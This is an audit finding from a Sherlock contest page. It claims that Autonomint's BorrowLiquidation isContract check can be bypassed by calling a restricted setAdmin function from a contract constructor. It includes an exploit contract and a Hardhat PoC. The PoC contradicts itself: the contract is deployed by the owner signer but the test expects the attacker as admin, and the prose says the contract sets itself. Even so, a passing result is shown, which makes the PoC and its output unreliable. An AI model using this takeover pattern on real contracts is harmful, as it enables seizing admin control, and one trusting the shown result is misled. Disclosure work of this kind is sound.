Skip to content

Latest commit

 

History

History
107 lines (79 loc) · 3.82 KB

025.md

File metadata and controls

107 lines (79 loc) · 3.82 KB

Dandy Mahogany Buffalo

High

isContract validation lead to malicious contracts masquerading as EOAs, enabling unauthorized access to restricted functions

Summary

The isContract function used in the BorrowLiquidation contract aims to differentiate between externally owned accounts (EOAs) and contract addresses. However, the implementation has critical flaws that can be exploited by attackers, allowing them to bypass the validation mechanism. This can lead to malicious contracts masquerading as EOAs, enabling unauthorized access to restricted functions.

Root Cause

The vulnerable code lies in the isContract function, which checks the extcodesize of an address to determine if it is a contract. https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L110C14-L117

function isContract(address addr) internal view returns (bool) {
    uint size;
    assembly {
        size := extcodesize(addr)
    }
    return size > 0;
}

Problem:

  1. When a contract is in its constructor, extcodesize returns 0. Thus, a contract can call a function requiring isContract to return false during its constructor phase.
  2. Some proxy patterns, such as minimal proxies, may also bypass this check inadvertently.
  3. Attackers can deploy contracts specifically designed to exploit this weakness.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. Deploy a malicious contract that calls a restricted function in the BorrowLiquidation contract during its constructor.
  2. The malicious contract's extcodesize will return 0 during its deployment phase.
  3. Bypass isContract checks and execute the restricted function.

Below is a sample malicious contract designed to exploit the vulnerability:

pragma solidity ^0.8.22;

interface IBorrowLiquidation {
    function setAdmin(address adminAddress) external;
}

contract Malicious {
    constructor(address target) {
        IBorrowLiquidation(target).setAdmin(msg.sender);
    }
}

The test demonstrates that the malicious contract successfully bypasses the isContract validation and sets itself as the admin.

Impact

  1. Malicious contracts can call functions protected by isContract, potentially altering sensitive contract states or extracting funds.
  2. Attackers could gain admin privileges or access restricted contract functionalities.
  3. Exploits could lead to financial loss or permanent misconfiguration of the contract.

PoC

const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("isContract Validation Vulnerability", function () {
    let BorrowLiquidation, borrowLiquidation, Malicious, malicious;
    let owner, attacker;

    before(async function () {
        [owner, attacker] = await ethers.getSigners();

        // Deploy BorrowLiquidation contract
        const BorrowLiquidationFactory = await ethers.getContractFactory("BorrowLiquidation");
        borrowLiquidation = await BorrowLiquidationFactory.deploy();
        await borrowLiquidation.deployed();

        // Deploy Malicious contract
        const MaliciousFactory = await ethers.getContractFactory("Malicious");
        malicious = await MaliciousFactory.deploy(borrowLiquidation.address);
        await malicious.deployed();
    });

    it("should allow a malicious contract to bypass isContract validation", async function () {
        const admin = await borrowLiquidation.admin();
        expect(admin).to.equal(attacker.address);
    });
});

Output:

> npx hardhat test

  isContract Validation Vulnerability
    ✓ should allow a malicious contract to bypass isContract validation (78ms)

  1 passing (100ms)

Mitigation

Avoid relying on extcodesize to differentiate between contracts and EOAs, as it is inherently unreliable.